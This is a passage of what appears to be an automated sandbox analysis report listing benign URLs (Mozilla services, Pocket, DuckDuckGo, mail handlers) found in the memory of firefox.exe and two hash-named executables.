Source: 2235d4f703.exe, 00000009.00000003.2660788882.0000000005854000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2790096589.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000019.00000003.2809646575.000002349591E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000019.00000003.2803157029.000002349564E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2799950747.000002349564E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: 2a8b7e5b78.exe, 00000007.00000003.2463978988.0000000007162000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 2a8b7e5b78.exe, 00000007.00000003.2463978988.0000000007162000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 2a8b7e5b78.exe, 00000007.00000003.2463978988.0000000007162000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 00000019.00000003.2803157029.000002349564E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000019.00000003.2803157029.000002349564E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000019.00000003.2803157029.000002349564E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2799950747.000002349564E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000019.00000003.2751068754.000002348D100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2755601551.000002348D37B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754071325.000002348D320000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754638273.000002348D33E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: 2235d4f703.exe, 00000009.00000003.2602738583.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2602569883.000000000589D000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733313298.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733601520.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733441529.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 2235d4f703.exe, 00000009.00000003.2602738583.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2602569883.000000000589D000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733313298.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733601520.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733441529.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 2235d4f703.exe, 00000009.00000003.2602738583.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2602569883.000000000589D000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733313298.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733601520.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733441529.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000019.00000003.2800133061.00000234958CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000019.00000002.3022359418.000002348AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2760224341.000002348AB33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000019.00000002.3022359418.000002348AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2760224341.000002348AB33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sresource://gre/modules/PrivateBrowsingUtils.sys.mj
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000019.00000002.2959811201.0000023489826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000019.00000002.2972813755.000002348A452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000019.00000002.2959811201.00000234898AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000019.00000002.2959811201.0000023489826000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2959811201.00000234898AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000019.00000002.2959811201.00000234898AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000019.00000002.3017099096.000002348A703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 00000019.00000003.2803157029.000002349564E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2799950747.000002349564E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000019.00000003.2803157029.00000234956B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2902363183.00000234956B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2800424280.00000234956C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000019.00000003.2803157029.00000234956B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2902363183.00000234956B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2800424280.00000234956C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000019.00000003.2803157029.000002349564E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000019.00000003.2803157029.000002349564E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000019.00000003.2751068754.000002348D100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2755601551.000002348D37B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754071325.000002348D320000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754638273.000002348D33E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsexperiments/screenshots/schema.jsononsetup/delayHideC
Source: firefox.exe, 00000019.00000003.2834797644.0000023495578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000019.00000003.2834797644.0000023495578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000019.00000002.2959811201.0000023489826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000019.00000003.2834797644.0000023495578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/services.sync.lastTabFetch
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/services.sync.lastTabFetchqwantjr
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000019.00000002.3045686159.000002348B765000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000019.00000003.2803157029.000002349564E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000019.00000003.2826959134.00000234959B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000019.00000003.2846711290.000002348E82B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 00000019.00000003.2846711290.000002348E82B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 00000019.00000003.2846711290.000002348E82B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 00000019.00000003.2846711290.000002348E82B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 00000019.00000003.2803157029.000002349564E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000019.00000003.2803157029.000002349564E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000019.00000003.2803157029.000002349564E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000019.00000003.2851793523.000002348D9CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%resource://gre/modules/compone
Source: firefox.exe, 00000019.00000003.2851793523.000002348D959000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000019.00000002.3017099096.000002348A720000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3022359418.000002348AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2760224341.000002348AB33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A4C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000019.00000002.3022359418.000002348AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2760224341.000002348AB33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sMust
Source: firefox.exe, 00000019.00000002.3022359418.000002348AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2760224341.000002348AB33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/URIFixup.sys.mjshttp://www.inbox.lv/rf
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000019.00000002.3027734740.000002348AC27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000019.00000002.3022359418.000002348AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2760224341.000002348AB33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sAttempted
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000019.00000002.3022359418.000002348AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2760224341.000002348AB33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sextractScheme/fixupChangedProtocol
Source: firefox.exe, 00000019.00000002.2959811201.0000023489826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000019.00000002.3045686159.000002348B76D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
